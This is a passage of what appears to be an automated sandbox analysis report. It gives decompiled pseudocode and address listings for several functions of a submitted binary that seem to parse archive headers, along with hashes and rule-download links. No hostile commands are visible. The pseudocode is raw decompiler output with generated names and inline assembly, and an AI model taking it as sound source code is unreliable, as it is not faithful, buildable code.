										_t213 =  *((intOrPtr*)(_t322 + 0x1c));
										 *(_t322 - 4) = 6;
										 *((intOrPtr*)( *_t213))(_t213, 0x41b218, _t322 - 0x1c);
										_t215 =  *((intOrPtr*)(_t322 - 0x1c));
										if(_t215 != 0) {
											 *((intOrPtr*)( *_t215 + 0xc))(_t215,  *((intOrPtr*)(_t322 - 0x74)));
										}
										 *(_t322 - 0x58) = _t313;
										_t216 = E00408524(_t322 - 0x78,  *((intOrPtr*)(_t322 + 8)),  *(_t322 - 0x24),  *(_t322 - 0x18), 0,  *((intOrPtr*)(_t322 + 0x1c)));
										 *((intOrPtr*)(_t322 - 0x28)) = _t216;
										if(_t216 == 1) {
											_t217 =  *((intOrPtr*)(_t322 - 0x1c));
											 *(_t322 - 4) = 5;
											if(_t217 != 0) {
												 *((intOrPtr*)( *_t217 + 8))(_t217);
											}
											_t266 = _t322 - 0x78;
											 *(_t322 - 4) = 4;
											E004038C2(_t266);
											_t201 =  *(_t322 - 0x18);
											 *(_t322 - 4) = 3;
											L46:
											if(_t201 != 0) {
												_t266 =  *_t201;
												 *((intOrPtr*)(_t266 + 8))(_t201);
											}
											_t198 =  *(_t322 - 0x14);
											 *(_t322 - 4) = 2;
											L49:
											if(_t198 != 0) {
												_t266 =  *_t198;
												 *((intOrPtr*)(_t266 + 8))(_t198);
											}
											 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
											_t195 =  *(_t322 - 0x10);
											L52:
											if(_t195 != 0) {
												_t266 =  *_t195;
												 *((intOrPtr*)(_t266 + 8))(_t195);
											}
											goto L76;
										} else {
											if(_t216 != 0) {
												_t220 =  *((intOrPtr*)(_t322 - 0x1c));
												 *(_t322 - 4) = 5;
												if(_t220 != 0) {
													 *((intOrPtr*)( *_t220 + 8))(_t220);
												}
												 *(_t322 - 4) = 4;
												E004038C2(_t322 - 0x78);
												_t222 =  *(_t322 - 0x18);
												 *(_t322 - 4) = 3;
												if(_t222 != 0) {
													 *((intOrPtr*)( *_t222 + 8))(_t222);
												}
												_t223 =  *(_t322 - 0x14);
												 *(_t322 - 4) = 2;
												if(_t223 != 0) {
													 *((intOrPtr*)( *_t223 + 8))(_t223);
												}
												_t224 =  *(_t322 - 0x10);
												 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
												if(_t224 != 0) {
													 *((intOrPtr*)( *_t224 + 8))(_t224);
												}
												_t184 =  *((intOrPtr*)(_t322 - 0x28));
												goto L77;
											}
											_push(_t322 - 0x4c);
											_push(_t322 - 0x54);
											_push(_t313);
											_t320 = E0040848C(_t319);
											if(_t320 != 0) {
												_t232 =  *((intOrPtr*)(_t322 - 0x1c));
												 *(_t322 - 4) = 5;
												if(_t232 != 0) {
													 *((intOrPtr*)( *_t232 + 8))(_t232);
												}
												 *(_t322 - 4) = 4;
												E004038C2(_t322 - 0x78);
												_t234 =  *(_t322 - 0x18);
												 *(_t322 - 4) = 3;
												if(_t234 != 0) {
													 *((intOrPtr*)( *_t234 + 8))(_t234);
												}
												_t235 =  *(_t322 - 0x14);
												 *(_t322 - 4) = 2;
												if(_t235 != 0) {
													 *((intOrPtr*)( *_t235 + 8))(_t235);
												}
												_t236 =  *(_t322 - 0x10);
												 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
												if(_t236 != 0) {
													 *((intOrPtr*)( *_t236 + 8))(_t236);
												}
												goto L71;
											}
											_push(_t322 - 0x78);
											E004093F0( *((intOrPtr*)(_t322 - 0x20)));
											_t243 =  *((intOrPtr*)(_t322 - 0x1c));
											 *(_t322 - 4) = 5;
											if(_t243 != 0) {
												 *((intOrPtr*)( *_t243 + 8))(_t243);
											}
											 *(_t322 - 4) = 4;
											E004038C2(_t322 - 0x78);
											_t245 =  *(_t322 - 0x18);
											 *(_t322 - 4) = 3;
											if(_t245 != 0) {
												 *((intOrPtr*)( *_t245 + 8))(_t245);
											}
											_t246 =  *(_t322 - 0x14);
											 *(_t322 - 4) = 2;
											if(_t246 != 0) {
												 *((intOrPtr*)( *_t246 + 8))(_t246);
											}
											_t247 =  *(_t322 - 0x10);
											 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
											if(_t247 != 0) {
												 *((intOrPtr*)( *_t247 + 8))(_t247);
											}
											while(1) {
												_t317 =  *((intOrPtr*)(_t322 + 0xc));
												_t307 = 1;
												_t313 = _t313 | 0xffffffff;
												_t181 =  *((intOrPtr*)(_t317 + 8));
												 *(_t322 - 0x24) = _t313;
												if(_t181 < _t307) {
													goto L6;
												}
												goto L4;
											}
										}
									}
								}
							}
						}
						E00408EA0(_t322 - 0xb4);
						 *(_t322 - 4) = 0;
						E00401D7A(_t322 - 0xb0,  *((intOrPtr*)(_t322 + 0x18)));
						 *(_t322 - 0x94) = _t313;
						_t255 = E00408902(_t322 - 0xb4,  *((intOrPtr*)(_t322 + 8)),  *(_t322 - 0x24),  *((intOrPtr*)(_t322 + 0x10)),  *((intOrPtr*)(_t322 + 0x14)),  *((intOrPtr*)(_t322 + 0x1c))); // executed
						_t320 = _t255;
						if(_t320 != 0) {
							 *(_t322 - 4) = _t313;
							E004038C2(_t322 - 0xb4);
							goto L71;
						}
						_push(_t322 - 0xb4);
						E004093F0( *((intOrPtr*)(_t322 - 0x20)));
						 *(_t322 - 4) = _t313;
						E004038C2(_t322 - 0xb4);
						continue;
						L6:
						_t266 =  *( *((intOrPtr*)(_t322 - 0x20)) + 8);
						if(_t266 >= 0x20) {
							goto L76;
						}
						goto L7;
					}
				} else {
					_t184 = 0x80004001;
					L77:
					 *[fs:0x0] =  *((intOrPtr*)(_t322 - 0xc));
					return _t184;
				}
			}

0x00408a40
0x00408a4d
0x00408a4e
0x00408a51
0x00408a5f
0x00408a6d
0x00408a6d
0x00408a72
0x00408a73
0x00408a76
0x00408a79
0x00408a7e
0x00000000
0x00000000
0x00408a80
0x00408a83
0x00408a88
0x00408e81
0x00408e8a
0x00408e8d
0x00000000
0x00408e8d
0x00408a97
0x00408aab
0x00408aad
0x00408b1a
0x00408b1e
0x00408b25
0x00408b29
0x00408b33
0x00408b36
0x00408b3b
0x00408cfb
0x00408cfb
0x00408d02
0x00408d04
0x00408e56
0x00408e56
0x00000000
0x00408e56
0x00408b46
0x00408e75
0x00408e75
0x00408e79
0x00408e7c
0x00000000
0x00408e7c
0x00408b4c
0x00408b4e
0x00408b58
0x00408b5d
0x00000000
0x00000000
0x00408b66
0x00000000
0x00000000
0x00408b6c
0x00408b73
0x00408b78
0x00408b7b
0x00408b86
0x00408b89
0x00408b90
0x00408b94
0x00408b97
0x00408e6c
0x00000000
0x00408ba5
0x00408ba5
0x00408ba8
0x00408bb0
0x00408bb4
0x00408bb9
0x00408bbc
0x00408e63
0x00000000
0x00408bca
0x00408bca
0x00408bcd
0x00408bd9
0x00408bdd
0x00408be1
0x00408be4
0x00408e5a
0x00000000
0x00408bf2
0x00408bf5
0x00408bff
0x00408c00
0x00408c01
0x00408c05
0x00408c0c
0x00408c0f
0x00408d11
0x00408d15
0x00408d1a
0x00408d1d
0x00408d23
0x00408d28
0x00408d28
0x00408d2b
0x00408d2e
0x00408d34
0x00408d39
0x00408d39
0x00408d3c
0x00408d3f
0x00408d45
0x00408d4a
0x00408d4a
0x00408d4d
0x00000000
0x00408d4d
0x00408c15
0x00408c18
0x00408c27
0x00408c2b
0x00408c2d
0x00408c32
0x00408c3a
0x00408c3a
0x00408c43
0x00408c50
0x00408c58
0x00408c5b
0x00408d55
0x00408d58
0x00408d5e
0x00408d63
0x00408d63
0x00408d66
0x00408d69
0x00408d6d
0x00408d72
0x00408d75
0x00408d79
0x00408d7b
0x00408d7d
0x00408d80
0x00408d80
0x00408d83
0x00408d86
0x00408d8a
0x00408d8c
0x00408d8e
0x00408d91
0x00408d91
0x00408d94
0x00408d98
0x00408d9b
0x00408d9d
0x00408da3
0x00408da6
0x00408da6
0x00000000
0x00408c61
0x00408c63
0x00408dae
0x00408db1
0x00408db7
0x00408dbc
0x00408dbc
0x00408dc2
0x00408dc6
0x00408dcb
0x00408dce
0x00408dd4
0x00408dd9
0x00408dd9
0x00408ddc
0x00408ddf
0x00408de5
0x00408dea
0x00408dea
0x00408ded
0x00408df0
0x00408df6
0x00408dfb
0x00408dfb
0x00408dfe
0x00000000
0x00408dfe
0x00408c6e
0x00408c72
0x00408c73
0x00408c79
0x00408c7d
0x00408e06
0x00408e09
0x00408e0f
0x00408e14
0x00408e14
0x00408e1a
0x00408e1e
0x00408e23
0x00408e26
0x00408e2c
0x00408e31
0x00408e31
0x00408e34
0x00408e37
0x00408e3d
0x00408e42
0x00408e42
0x00408e45
0x00408e48
0x00408e4e
0x00408e53
0x00408e53
0x00000000
0x00408e4e
0x00408c89
0x00408c8a
0x00408c8f
0x00408c92
0x00408c98
0x00408c9d
0x00408c9d
0x00408ca3
0x00408ca7
0x00408cac
0x00408caf
0x00408cb5
0x00408cba
0x00408cba
0x00408cbd
0x00408cc0
0x00408cc6
0x00408ccb
0x00408ccb
0x00408cce
0x00408cd1
0x00408cd7
0x00408ce0
0x00408ce0
0x00408a6d
0x00408a6d
0x00408a72
0x00408a73
0x00408a76
0x00408a79
0x00408a7e
0x00000000
0x00000000
0x00000000
0x00408a7e
0x00408a6d
0x00408c5b
0x00408be4
0x00408bbc
0x00408b97
0x00408ab5
0x00408ac3
0x00408ac6
0x00408ad4
0x00408ae6
0x00408aeb
0x00408aef
0x00408cee
0x00408cf1
0x00000000
0x00408cf1
0x00408afe
0x00408aff
0x00408b0a
0x00408b0d
0x00000000
0x00408a9c
0x00408a9f
0x00408aa5
0x00000000
0x00000000
0x00000000
0x00408aa5
0x00408a61
0x00408a61
0x00408e8f
0x00408e95
0x00408e9d
0x00408e9d

APIs

__EH_prolog.LIBCMT ref: 00408A40

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 463f0c4feddd306d7c1a8d70083033d754a2b3fae2b1194d3c8a033132b27601
Instruction ID: 34c7193a5b50bb33ce0ba2a09d23f7b106f418ab12413814a78bbf0ce5505d58
Opcode Fuzzy Hash: 463f0c4feddd306d7c1a8d70083033d754a2b3fae2b1194d3c8a033132b27601
Instruction Fuzzy Hash: 62E17F70A00249DFCF10DFA4C988AAEBBB4AF58314F2445AEE495F72D1CB389E45CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA0B Relevance: 1.8, APIs: 1, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040EA0B(intOrPtr* __ecx, signed int __edx, void* __eflags) {
				intOrPtr _t191;
				intOrPtr* _t197;
				intOrPtr _t202;
				void* _t220;
				void* _t227;
				intOrPtr _t267;
				signed int _t271;
				intOrPtr* _t273;
				intOrPtr* _t277;
				intOrPtr* _t279;
				intOrPtr* _t283;
				void* _t284;
				void* _t289;

				_t289 = __eflags;
				_t271 = __edx;
				E00413954(E0041A72D, _t284);
				_t273 = __ecx;
				E004032A8(_t284 - 0x5c, 8);
				 *((intOrPtr*)(_t284 - 0x5c)) = 0x41b694;
				 *(_t284 - 4) =  *(_t284 - 4) & 0x00000000;
				E004032A8(_t284 - 0xd8, 1);
				 *((intOrPtr*)(_t284 - 0xd8)) = 0x41b748;
				E004032A8(_t284 - 0xc4, 4);
				 *((intOrPtr*)(_t284 - 0xc4)) = 0x41b684;
				 *(_t284 - 4) = 2;
				E00402155(_t284 - 0x30);
				 *((intOrPtr*)(_t284 - 0x30)) = 0x41b7f8;
				E004032A8(_t284 - 0x84, 4);
				 *((intOrPtr*)(_t284 - 0x84)) = 0x41b684;
				E004032A8(_t284 - 0x9c, 8);
				 *((intOrPtr*)(_t284 - 0x9c)) = 0x41b694;
				E004032A8(_t284 - 0xb0, 1);
				 *((intOrPtr*)(_t284 - 0xb0)) = 0x41b748;
				E004032A8(_t284 - 0x70, 4);
				 *((intOrPtr*)(_t284 - 0x70)) = 0x41b684;
				_t277 =  *((intOrPtr*)(_t284 + 0x10));
				 *(_t284 - 4) = 7;
				E0040E86B(__ecx, __edx, 0, _t277, _t284 - 0x5c, _t284 - 0xd8, _t284 - 0xc4, _t284 - 0x30, _t284 - 0x84, _t284 - 0x9c, _t284 - 0xb0, _t284 - 0x70);
				 *(_t284 - 0x14) =  *(_t284 - 0x14) & 0x00000000;
				E0040AC6A(_t284 - 0x164, _t289, 1);
				_t227 =  *_t277 +  *((intOrPtr*)(_t284 + 8));
				asm("adc esi, [ebp+0xc]");
				 *(_t284 + 0xc) =  *(_t284 + 0xc) & 0x00000000;
				 *((intOrPtr*)(_t284 - 0x34)) =  *((intOrPtr*)(_t277 + 4));
				if( *((intOrPtr*)(_t284 - 0x28)) <= 0) {
					L17:
					 *(_t284 - 4) = 7;
					E0040C380(_t284 - 0x164, _t301); // executed
					 *(_t284 - 4) = 6;
					E004042AD(_t284 - 0x70);
					 *(_t284 - 4) = 5;
					E004042AD(_t284 - 0xb0);
					 *(_t284 - 4) = 4;
					E004042AD(_t284 - 0x9c);
					 *(_t284 - 4) = 3;
					E004042AD(_t284 - 0x84);
					 *((intOrPtr*)(_t284 - 0x30)) = 0x41b7f8;
					 *(_t284 - 4) = 0xc;
					_t279 = 0;
					L18:
					E004042D6();
					 *(_t284 - 4) = 2;
					E004042AD(_t284 - 0x30);
					 *(_t284 - 4) = 1;
					E004042AD(_t284 - 0xc4);
					 *(_t284 - 4) =  *(_t284 - 4) & 0x00000000;
					E004042AD(_t284 - 0xd8);
					 *(_t284 - 4) =  *(_t284 - 4) | 0xffffffff;
					E004042AD(_t284 - 0x5c);
					 *[fs:0x0] =  *((intOrPtr*)(_t284 - 0xc));
					return _t279;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					 *(_t284 - 0x40) =  *(_t284 - 0x40) & 0x00000000;
					 *(_t284 - 0x3c) =  *(_t284 - 0x3c) & 0x00000000;
					 *((intOrPtr*)(_t284 + 0x10)) =  *((intOrPtr*)( *((intOrPtr*)(_t284 - 0x24)) +  *(_t284 + 0xc) * 4));
					 *((intOrPtr*)(_t284 - 0x44)) = 0x41b818;
					_push(_t284 - 0x44);
					 *(_t284 - 4) = 9;
					E0040FA43( *((intOrPtr*)(_t284 + 0x14)));
					 *(_t284 - 4) = 8;
					 *((intOrPtr*)(_t284 - 0x44)) = 0x41b818;
					E00403A9C( *(_t284 - 0x3c));
					_t191 =  *((intOrPtr*)(_t284 + 0x14));
					_t282 =  *( *((intOrPtr*)(_t191 + 0xc)) +  *(_t191 + 8) * 4 - 4);
					 *(_t284 - 0x10) =  *( *((intOrPtr*)(_t191 + 0xc)) +  *(_t191 + 8) * 4 - 4);
					 *(_t284 - 0x1c) = E0040C281( *((intOrPtr*)(_t284 + 0x10)));
					_t256 =  *(_t284 - 0x1c);
					if( *(_t284 - 0x1c) !=  *(_t284 - 0x1c) || 0 != _t271) {
						E0040DB47(_t256);
					}
					E004076D5(_t282,  *(_t284 - 0x1c));
					_push(0x14);
					_t197 = E00403A76();
					_t283 = 0;
					if(_t197 != 0) {
						 *((intOrPtr*)(_t197 + 4)) = 0;
						 *_t197 = 0x41b824;
						_t283 = _t197;
					}
					_t294 = _t283;
					 *((intOrPtr*)(_t284 - 0x88)) = _t283;
					if(_t283 != 0) {
						 *((intOrPtr*)( *_t283 + 4))(_t283);
					}
					_t271 =  *(_t284 - 0x14);
					 *(_t283 + 0x10) =  *(_t283 + 0x10) & 0x00000000;
					 *((intOrPtr*)(_t283 + 8)) =  *((intOrPtr*)( *(_t284 - 0x10) + 8));
					 *(_t284 - 4) = 0xa;
					 *(_t283 + 0xc) =  *(_t284 - 0x1c);
					_t202 = E0040AD19(_t284 - 0x164, _t294,  *_t273, _t227,  *((intOrPtr*)(_t284 - 0x34)),  *(_t284 - 0x50) + _t271 * 8,  *((intOrPtr*)(_t284 + 0x10)), _t283, 0); // executed
					 *((intOrPtr*)(_t284 - 0x48)) = _t202;
					if(_t202 != 0) {
						break;
					}
					if( *((char*)( *((intOrPtr*)(_t284 + 0x10)) + 0x54)) != 0) {
						_t271 =  *(_t284 - 0x1c);
						_t220 = E004133B0( *((intOrPtr*)( *(_t284 - 0x10) + 8)), _t271);
						_t270 =  *((intOrPtr*)(_t284 + 0x10));
						if(_t220 !=  *((intOrPtr*)( *((intOrPtr*)(_t284 + 0x10)) + 0x50))) {
							E0040DB47(_t270);
						}
					}
					 *(_t284 - 0x10) =  *(_t284 - 0x10) & 0x00000000;
					if( *((intOrPtr*)( *((intOrPtr*)(_t284 + 0x10)) + 0x30)) <= 0) {
						L14:
						 *(_t284 - 4) = 8;
						if(_t283 != 0) {
							 *((intOrPtr*)( *_t283 + 8))(_t283);
						}
						 *(_t284 + 0xc) =  *(_t284 + 0xc) + 1;
						_t301 =  *(_t284 + 0xc) -  *((intOrPtr*)(_t284 - 0x28));
						if( *(_t284 + 0xc) <  *((intOrPtr*)(_t284 - 0x28))) {
							continue;
						} else {
							goto L17;
						}
					} else {
						do {
							_t271 =  *(_t284 - 0x50);
							 *(_t284 - 0x14) =  *(_t284 - 0x14) + 1;
							_t267 =  *((intOrPtr*)(( *(_t284 - 0x14) << 3) + _t271));
							_t227 = _t227 + _t267;
							asm("adc [ebp-0x34], eax");
							 *((intOrPtr*)(_t273 + 0x48)) =  *((intOrPtr*)(_t273 + 0x48)) + _t267;
							asm("adc [edi+0x4c], eax");
							 *(_t284 - 0x10) =  *(_t284 - 0x10) + 1;
						} while ( *(_t284 - 0x10) <  *((intOrPtr*)( *((intOrPtr*)(_t284 + 0x10)) + 0x30)));
						goto L14;
					}
				}
				__eflags = _t283;
				 *(_t284 - 4) = 8;
				if(__eflags != 0) {
					 *((intOrPtr*)( *_t283 + 8))(_t283);
				}
				 *(_t284 - 4) = 7;
				E0040C380(_t284 - 0x164, __eflags);
				 *(_t284 - 4) = 6;
				E004042AD(_t284 - 0x70);
				 *(_t284 - 4) = 5;
				E004042AD(_t284 - 0xb0);
				 *(_t284 - 4) = 4;
				E004042AD(_t284 - 0x9c);
				 *(_t284 - 4) = 3;
				E004042AD(_t284 - 0x84);
				 *((intOrPtr*)(_t284 - 0x30)) = 0x41b7f8;
				_t279 =  *((intOrPtr*)(_t284 - 0x48));
				 *(_t284 - 4) = 0xb;
				goto L18;
			}

0x0040ea0b
0x0040ea0b
0x0040ea10
0x0040ea1e
0x0040ea25
0x0040ea2a
0x0040ea31
0x0040ea3d
0x0040ea47
0x0040ea55
0x0040ea5f
0x0040ea68
0x0040ea6c
0x0040ea71
0x0040ea80
0x0040ea85
0x0040ea93
0x0040ea98
0x0040eaaa
0x0040eaaf
0x0040eaba
0x0040eabf
0x0040eac5
0x0040eaf9
0x0040eafd
0x0040eb02
0x0040eb0e
0x0040eb18
0x0040eb1b
0x0040eb1e
0x0040eb26
0x0040eb29
0x0040ec89
0x0040ec8f
0x0040ec93
0x0040ec9b
0x0040ec9f
0x0040ecaa
0x0040ecae
0x0040ecb9
0x0040ecbd
0x0040ecc8
0x0040eccc
0x0040ecd1
0x0040ecd8
0x0040ecdc
0x0040ecde
0x0040ece1
0x0040ece9
0x0040eced
0x0040ecf8
0x0040ecfc
0x0040ed01
0x0040ed0b
0x0040ed10
0x0040ed17
0x0040ed24
0x0040ed2c
0x00000000
0x00000000
0x00000000
0x0040eb2f
0x0040eb2f
0x0040eb35
0x0040eb39
0x0040eb45
0x0040eb48
0x0040eb51
0x0040eb52
0x0040eb56
0x0040eb5e
0x0040eb62
0x0040eb65
0x0040eb6a
0x0040eb74
0x0040eb7b
0x0040eb83
0x0040eb88
0x0040eb8d
0x0040eb93
0x0040eb93
0x0040eb9d
0x0040eba2
0x0040eba4
0x0040eba9
0x0040ebae
0x0040ebb0
0x0040ebb3
0x0040ebb9
0x0040ebb9
0x0040ebbb
0x0040ebbd
0x0040ebc3
0x0040ebc8
0x0040ebc8
0x0040ebce
0x0040ebd7
0x0040ebde
0x0040ebe4
0x0040ebe8
0x0040ebff
0x0040ec06
0x0040ec09
0x00000000
0x00000000
0x0040ec16
0x0040ec1b
0x0040ec21
0x0040ec26
0x0040ec2c
0x0040ec2e
0x0040ec2e
0x0040ec2c
0x0040ec36
0x0040ec3e
0x0040ec6c
0x0040ec6e
0x0040ec72
0x0040ec77
0x0040ec77
0x0040ec7a
0x0040ec80
0x0040ec83
0x00000000
0x00000000
0x00000000
0x00000000
0x0040ec40
0x0040ec40
0x0040ec43
0x0040ec49
0x0040ec4c
0x0040ec53
0x0040ec55
0x0040ec58
0x0040ec5b
0x0040ec5e
0x0040ec67
0x00000000
0x0040ec40
0x0040ec3e
0x0040ed2f
0x0040ed31
0x0040ed35
0x0040ed3a
0x0040ed3a
0x0040ed43
0x0040ed47
0x0040ed4f
0x0040ed53
0x0040ed5e
0x0040ed62
0x0040ed6d
0x0040ed71
0x0040ed7c
0x0040ed80
0x0040ed85
0x0040ed8c
0x0040ed8f
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0040EA10

Part of subcall function 0040FA43: __EH_prolog.LIBCMT ref: 0040FA48

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 609558a53499a49e72743be03594cb330370f72dde39e5c62d9fac4dd36766c0
Instruction ID: 11288496f406677f7bdfcb919023cacd5b8123072d96ac47e6bfd322b071945c
Opcode Fuzzy Hash: 609558a53499a49e72743be03594cb330370f72dde39e5c62d9fac4dd36766c0
Instruction Fuzzy Hash: 38C14770910269DFDB10DFA5C884BDDBBB4BF14308F1080AEE915B72C2CB786A49CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040F648 Relevance: 1.7, APIs: 1, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0040F648(intOrPtr* __ecx, void* __eflags) {
				char* _t92;
				signed char _t103;
				intOrPtr* _t104;
				signed char _t106;
				void* _t112;
				void* _t116;
				signed char _t120;
				void* _t124;
				signed int _t137;
				intOrPtr* _t144;
				void* _t145;
				void* _t164;
				signed char _t168;
				intOrPtr _t170;
				intOrPtr* _t173;
				signed char _t175;
				void* _t176;

				E00413954(E0041A7FC, _t176);
				_t170 =  *((intOrPtr*)(_t176 + 8));
				_t173 = __ecx;
				E0040D377(_t170);
				 *((intOrPtr*)(_t170 + 0x138)) =  *((intOrPtr*)(_t173 + 0x20));
				 *((intOrPtr*)(_t170 + 0x13c)) =  *((intOrPtr*)(_t173 + 0x24));
				_t92 = _t170 + 0x130;
				 *_t92 =  *((intOrPtr*)(_t173 + 0x2e));
				_t143 =  *((intOrPtr*)(_t173 + 0x2f));
				 *((char*)(_t170 + 0x131)) =  *((intOrPtr*)(_t173 + 0x2f));
				if( *_t92 != 0) {
					E0040DB47(_t143);
				}
				_t144 = _t173 + 0x34;
				 *((intOrPtr*)(_t176 + 8)) =  *((intOrPtr*)(_t173 + 0x30));
				_t137 =  *(_t173 + 0x40);
				 *((intOrPtr*)(_t176 - 0x18)) =  *_t144;
				 *((intOrPtr*)(_t176 - 0x14)) =  *((intOrPtr*)(_t144 + 4));
				 *(_t176 - 0x20) =  *(_t173 + 0x3c);
				_t164 = 0x14;
				 *((intOrPtr*)(_t176 - 0x10)) =  *((intOrPtr*)(_t173 + 0x44));
				if(E004133B0(_t144, _t164) !=  *((intOrPtr*)(_t176 + 8))) {
					E0040DB47(_t144);
				}
				_t145 = 0;
				 *((intOrPtr*)(_t170 + 0x140)) =  *((intOrPtr*)(_t173 + 0x20)) + 0x20;
				asm("adc edx, ecx");
				 *((intOrPtr*)(_t170 + 0x144)) =  *((intOrPtr*)(_t173 + 0x24));
				if(( *(_t176 - 0x20) | _t137) != 0) {
					__eflags = _t137 - _t145;
					if(_t137 > _t145) {
						L11:
						_t103 = 1;
					} else {
						__eflags =  *(_t176 - 0x20) - 0xffffffff;
						if( *(_t176 - 0x20) > 0xffffffff) {
							goto L11;
						} else {
							__eflags =  *((intOrPtr*)(_t176 - 0x14)) - _t145;
							if(__eflags > 0) {
								L12:
								_t104 =  *_t173;
								_t103 =  *((intOrPtr*)( *_t104 + 0x10))(_t104,  *((intOrPtr*)(_t176 - 0x18)),  *((intOrPtr*)(_t176 - 0x14)), 1, _t145);
								__eflags = _t103;
								if(_t103 == 0) {
									 *((intOrPtr*)(_t176 - 0x30)) = 0;
									 *((intOrPtr*)(_t176 - 0x2c)) = 0;
									 *((intOrPtr*)(_t176 - 0x34)) = 0x41b818;
									 *(_t176 - 4) = 0;
									E004076D5(_t176 - 0x34,  *(_t176 - 0x20));
									_t106 = E0040776F(__eflags,  *(_t176 - 0x20));
									__eflags = _t106;
									if(_t106 == 0) {
										_t168 =  *(_t176 - 0x20);
										asm("adc ecx, 0x0");
										 *((intOrPtr*)(_t173 + 0x48)) =  *((intOrPtr*)(_t173 + 0x48)) + _t168 + 0x20;
										asm("adc [esi+0x4c], ecx");
										_t151 =  *((intOrPtr*)(_t176 - 0x2c));
										asm("adc ebx, [ebp-0x14]");
										 *((intOrPtr*)(_t170 + 0x1c8)) = _t168 +  *((intOrPtr*)(_t176 - 0x18)) + 0x20;
										asm("adc ebx, 0x0");
										 *(_t170 + 0x1cc) = _t137;
										_t112 = E004133B0( *((intOrPtr*)(_t176 - 0x2c)), _t168);
										__eflags = _t112 -  *((intOrPtr*)(_t176 - 0x10));
										if(_t112 !=  *((intOrPtr*)(_t176 - 0x10))) {
											E0040DB47(_t151);
										}
										 *(_t176 - 0x24) =  *(_t176 - 0x24) & 0x00000000;
										 *(_t176 - 4) = 1;
										E0040DAE2(_t173, _t176 - 0x34);
										E004032A8(_t176 - 0x48, 4);
										 *((intOrPtr*)(_t176 - 0x48)) = 0x41b834;
										_t154 =  *((intOrPtr*)(_t173 + 0x18));
										 *(_t176 - 4) = 2;
										_t116 = E0040DBF4( *((intOrPtr*)(_t173 + 0x18)), _t168);
										__eflags = _t116 - 1;
										if(_t116 != 1) {
											L19:
											__eflags = _t116 - 0x17;
											if(_t116 != 0x17) {
												L21:
												E0040DB47(_t154);
											} else {
												__eflags = _t168;
												if(__eflags != 0) {
													goto L21;
												}
											}
											_t155 = _t173;
											_t120 = E0040EA0B(_t173, _t168, __eflags,  *((intOrPtr*)(_t170 + 0x140)),  *((intOrPtr*)(_t170 + 0x144)), _t170 + 0x150, _t176 - 0x48); // executed
											__eflags = _t120;
											if(_t120 == 0) {
												__eflags =  *(_t176 - 0x40);
												if( *(_t176 - 0x40) != 0) {
													__eflags =  *(_t176 - 0x40) - 1;
													if( *(_t176 - 0x40) > 1) {
														E0040DB47(_t155);
													}
													E0040DA34(_t176 - 0x28);
													E0040DAE2(_t173,  *((intOrPtr*)( *((intOrPtr*)(_t176 - 0x3c)))));
													_t158 =  *((intOrPtr*)(_t173 + 0x18));
													_t124 = E0040DBF4( *((intOrPtr*)(_t173 + 0x18)), _t168);
													__eflags = _t124 - 1;
													if(_t124 != 1) {
														L30:
														E0040DB47(_t158);
													} else {
														__eflags = _t168;
														if(_t168 != 0) {
															goto L30;
														}
													}
													goto L31;
												} else {
													 *((intOrPtr*)(_t176 - 0x48)) = 0x41b834;
													 *(_t176 - 4) = 4;
													_t175 = 0;
												}
											} else {
												 *((intOrPtr*)(_t176 - 0x48)) = 0x41b834;
												 *(_t176 - 4) = 3;
												goto L32;
											}
										} else {
											__eflags = _t168;
											if(_t168 == 0) {
												L31:
												 *((intOrPtr*)(_t170 + 0x1c0)) =  *((intOrPtr*)(_t173 + 0x48));
												 *((intOrPtr*)(_t170 + 0x1c4)) =  *((intOrPtr*)(_t173 + 0x4c));
												_t120 = E0040ED98(_t173, _t168, _t170);
												 *((intOrPtr*)(_t176 - 0x48)) = 0x41b834;
												 *(_t176 - 4) = 5;
												L32:
												_t175 = _t120;
											} else {
												goto L19;
											}
										}
										E004042D6();
										 *(_t176 - 4) = 1;
										E004042AD(_t176 - 0x48);
										_t81 = _t176 - 4;
										 *_t81 =  *(_t176 - 4) & 0x00000000;
										__eflags =  *_t81;
										E0040DA34(_t176 - 0x28);
									} else {
										_t175 = _t106;
									}
									 *((intOrPtr*)(_t176 - 0x34)) = 0x41b818;
									E00403A9C( *((intOrPtr*)(_t176 - 0x2c)));
									_t103 = _t175;
								}
							} else {
								if(__eflags < 0) {
									goto L11;
								} else {
